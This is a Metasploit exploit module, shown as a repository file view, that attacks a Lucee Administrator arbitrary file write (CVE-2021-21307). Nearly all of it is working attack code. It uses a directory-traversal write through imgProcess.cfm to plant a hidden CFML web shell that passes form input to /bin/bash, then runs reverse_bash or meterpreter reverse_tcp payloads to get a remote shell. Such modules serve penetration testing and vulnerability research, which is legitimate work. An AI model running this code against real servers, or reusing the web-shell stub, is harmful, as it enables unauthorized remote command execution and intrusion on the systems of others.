Files
metasploit-gs/modules/exploits/linux/http/lucee_admin_imgprocess_file_write.rb
T
Valentin Lobstein f41eda1128 Add GHSA and OSV reference type support
Add support for GHSA (GitHub Security Advisories) and OSV (Open Source
Vulnerabilities) as structured reference types in Metasploit modules.

Convert 49 hardcoded GHSA URLs to structured ['GHSA', 'GHSA-xxxx'] format
across existing modules, and add support for repository-specific GHSA
references with an optional third parameter ['GHSA', 'GHSA-xxxx', 'repo'].

Update reference validation, module validator, and info_fixups to handle
the new reference types correctly.
2026-02-09 15:17:23 +01:00

196 lines
5.2 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Lucee Administrator imgProcess.cfm Arbitrary File Write',
'Description' => %q{
This module exploits an arbitrary file write in Lucee Administrator's
imgProcess.cfm file to execute commands as the Tomcat user.
},
'Author' => [
'rootxharsh', # Discovery and PoC
'iamnoooob', # Discovery and PoC
'wvu' # Exploit
],
'References' => [
['CVE', '2021-21307'],
['URL', 'https://dev.lucee.org/t/lucee-vulnerability-alert-november-2020-cve-2021-21307/7643'],
['GHSA', '2xvv-723c-8p7r', 'lucee/lucee'],
['URL', 'https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md']
],
'DisclosureDate' => '2021-01-15', # rootxharsh and iamnoooob's writeup
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'], # TODO: Windows?
'Privileged' => false, # Tomcat user
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8888
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
# /opt/lucee/server/lucee-server/context/logs/application.log
# /opt/lucee/web/logs/exception.log
IOC_IN_LOGS,
# /opt/lucee/web/temp/admin-ext-thumbnails/__/
# /opt/lucee/web/temp/admin-ext-thumbnails/__/../../../context/[a-zA-Z0-9]{8,16}.cfm
ARTIFACTS_ON_DISK
]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/lucee'])
])
register_advanced_options([
OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])
])
end
def check
# NOTE: This doesn't actually write a file
res = write_file(rand_text_alphanumeric(8..16), nil)
return CheckCode::Unknown unless res
unless res.code == 500 && res.body.include?("key [IMGSRC] doesn't exist")
return CheckCode::Safe
end
CheckCode::Appears('Lucee Administrator imgProcess.cfm detected.')
end
def exploit
print_status("Writing CFML stub: #{full_uri(cfml_uri)}")
unless write_cfml_stub
fail_with(Failure::NotVulnerable, 'Failed to write CFML stub')
end
print_status("Executing #{payload_instance.refname} (#{target.name})")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
def write_cfml_stub
# XXX: Create /opt/lucee/web/temp/admin-ext-thumbnails/__/
res = write_file('/.', '')
# Leak directory traversal base path from 500 response
unless res&.code == 500 && %r{file \[(?<base_path>.*?/__/)\.\]} =~ res.body
return false
end
register_dir_for_cleanup(base_path)
cfml_path = "/../../../context/#{cfml_filename}"
res = write_file(cfml_path, cfml_stub)
return false unless res&.code == 200
register_file_for_cleanup(normalize_uri(base_path, cfml_path))
true
end
def execute_command(cmd, _opts = {})
vprint_status(cmd)
res = send_request_cgi({
'method' => 'POST',
'uri' => cfml_uri,
'vars_post' => {
cfml_param => cmd
}
}, datastore['CmdExecTimeout'])
return unless res
fail_with(Failure::PayloadFailed, cmd) unless res.code == 200
vprint_line(res.body)
end
def write_file(name, contents)
opts = {
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin/imgProcess.cfm')
}
opts['vars_get'] = { 'file' => name } if name
opts['vars_post'] = { 'imgSrc' => contents } if contents
send_request_cgi(opts)
end
def cfml_stub
# https://cfdocs.org/cfscript
# https://cfdocs.org/cfexecute
<<~CFML.gsub(/^\s+/, '').tr("\n", '')
<cfscript>
cfexecute(name="/bin/bash", arguments=["-c", "#form.#{cfml_param}#"]);
</cfscript>
CFML
end
def cfml_uri
normalize_uri(target_uri.path, cfml_filename)
end
def cfml_param
@cfml_param ||= rand_text_alphanumeric(8..16)
end
def cfml_filename
@cfml_filename ||= "#{rand_text_alphanumeric(8..16)}.cfm"
end
end